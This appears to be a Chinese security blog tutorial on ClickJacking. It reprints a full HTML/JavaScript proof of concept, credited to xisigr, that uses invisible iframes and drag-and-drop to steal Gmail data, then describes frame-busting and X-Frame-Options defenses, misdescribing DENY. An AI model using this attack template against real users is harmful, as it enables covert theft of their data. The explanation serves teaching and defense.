一、什么是ClickJacking
自己第一次接触这个名词,以为是类似于DNS中毒那样的恶意跳转,仔细看下去,才发现不是这么回事,其实是“障眼法”,准确地说,视觉上欺骗用户点击A,其实点击的是B,结果点击B之后达到了某种目的。基本的实现是利用HTML中的iframe标签,通过使其透明、不可见,在原始的网页上覆盖一层透明的新网页,通过调整iframe的大小和位置,使得其可以覆盖在原始网页的任何位置上。具体可以设置iframe标签的width、height属性,以及top、left的位置,同时将z-index的值设置为最大,以达到让iframe处于页面最上层,再通过设置opacity来控制iframe页面的透明程度,值为0时完全不可见。
二、ClickJacking的其他形式
从基本的iframe出发,ClickJacking发展出许多不同的形式。比如借助Flash实施的点击劫持,比如借助图片覆盖实施的欺诈攻击,最为令人惊叹的应该是拖拽劫持和数据窃取了。2010年Paul Stone在BlackHat上发表了题为《Next Generation ClickJacking》的演讲,其拖拽劫持的思路是诱使用户从隐藏的不可见的iframe中“拖拽”出攻击者希望得到的数据,然后放到攻击者能控制的另外一个页面中,从而窃取数据。
这里有个典型的例子,是国内大牛xisigr构造的一个针对Gmail的POC,大致过程是设计了一个海豹顶球的小游戏,每次用户点击皮球拖拽到海豹头上时都会触发相应的行为,这里在小球和海豹的头顶上都有隐藏的iframe,xisigr使用event.dataTransfer.getData('Text')来获取拖拽的数据,用户拖拽小球时实际选中了隐藏的iframe中的数据;放下小球时,把数据也放在了隐藏的iframe中,从而完成了一次数据窃取的过程。

具体的实现代码如下:
点击(此处)折叠或打开
- <html>
- <head>
- <title> Gmail Clickjacking with drag and drop Attack Demo
- </title>
- <style> .iframe_hidden{height: 50px; width: 50px; top:360px; left:365px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .text_area_hidden{ height: 30px; width: 30px; top:160px; left:670px; overflow:hidden; filter: alpha(opacity=0); opacity:.0; position: absolute; } .ball{ top:350px; left:350px; position: absolute; } .ball_1{ top:136px; left:640px; filter: alpha(opacity=0); opacity:.0; position: absolute; }.Dolphin{ top:150px; left:600px; position: absolute; }.center{ margin-right: auto;margin-left: auto; vertical-align:middle;text-align:center; margin-top:350px;}
- </style>
- <script> function Init() {
- var source = document.getElementById("source");
- var target = document.getElementById("target");
- if (source.addEventListener) {
- target.addEventListener("drop", DumpInfo, false); }
- else {
- target.attachEvent("ondrop", DumpInfo);
- }
- }
-
- function DumpInfo(event) {
- showHide_ball.call(this);
- showHide_ball_1.call(this);
- var info = document.getElementById("info");
-
info.innerHTML += "" + event.dataTransfer.getData('Text') + "
"; - }
- function showHide_frame() {
- var iframe_1 = document.getElementById("iframe_1");
- iframe_1.style.opacity = this.checked ? "0.5": "0";
- iframe_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");"
- }
-
- function showHide_text() {
- var text_1 = document.getElementById("target");
- text_1.style.opacity = this.checked ? "0.5": "0";
- text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" + (this.checked ? "50": "0") + ");"
- }
-
- function showHide_ball() {
- var hide_ball = document.getElementById("hide_ball");
- hide_ball.style.opacity = "0";
- hide_ball.style.filter = "alpha(opacity=0)";
- }
- function showHide_ball_1() {
- var hide_ball_1 = document.getElementById("hide_ball_1");
- hide_ball_1.style.opacity = "1";
- hide_ball_1.style.filter = "alpha(opacity=100)";
- }
-
- function reload_text() {
- document.getElementById("target").value = '';
- }
- </script>
- </head>
- <body onload="Init();">
- <center>
- <h1> Gmail Clickjacking with drag and drop Attack </h1> </center> <img id="hide_ball" src=ball.png class="ball"> <div id="source"> <iframe id="iframe_1" src="" class="iframe_hidden" scrolling="no"> </iframe> </div> <img src=Dolphin.jpg class="Dolphin"> <div> <img id="hide_ball_1" src=ball.png class="ball_1"> </div> <div> <textarea id="target" class="text_area_hidden"> </textarea> </div> <div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold; top:600px;"> </div> <center> Note: Clicking "ctrl + a" to select the ball, then drag it to the <br> mouth of the dolphin with the mouse.Make sure you have logged into GMAIL. <br> </center> <br> <br> <div class="center"> <center> <center> <input id="showHide_frame" type="checkbox" onclick="showHide_frame.call(this);" /> <label for="showHide_frame"> Show the jacked I--Frame </label> | <input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);" /> <label for="showHide_text"> Show the jacked Textarea </label> | <input type=button value="Replay" onclick="location.reload();reload_text();"> </center> <br><br> <b> Design by <a target="_blank" href=""> xisigr </a> </b> </center> </div> </body> </html>
最近的ClickJacking发展到了智能手机平台,开始出现“触屏劫持”,原理同以前一样,只是手机上貌似更加容易实施了。防御ClickJacking主要有两个思路,一个是针对iframe标签,进行处理,实施frame busting:
点击(此处)折叠或打开
-
if (top.location != self.location)
-
{
-
parent.location = self.location;
- }
点击(此处)折叠或打开
-
Attacker top frame:
-
<iframe src="attacker2.html">
-
Attacker sub-frame:
- <iframe src="">
另外一个思路是使用一个HTTP头:X-Frame-Options,其有三个可选的值:
-1. DENY:浏览器拒绝当前页面加载任何iframe页面;
-2. SAMEORIGIN:只允许同源下的frame页面地址;
-3. ALLOW_FROM origin:允许自定义加载frame的页面地址
Reference:《白帽子讲WEB安全》,吴翰情著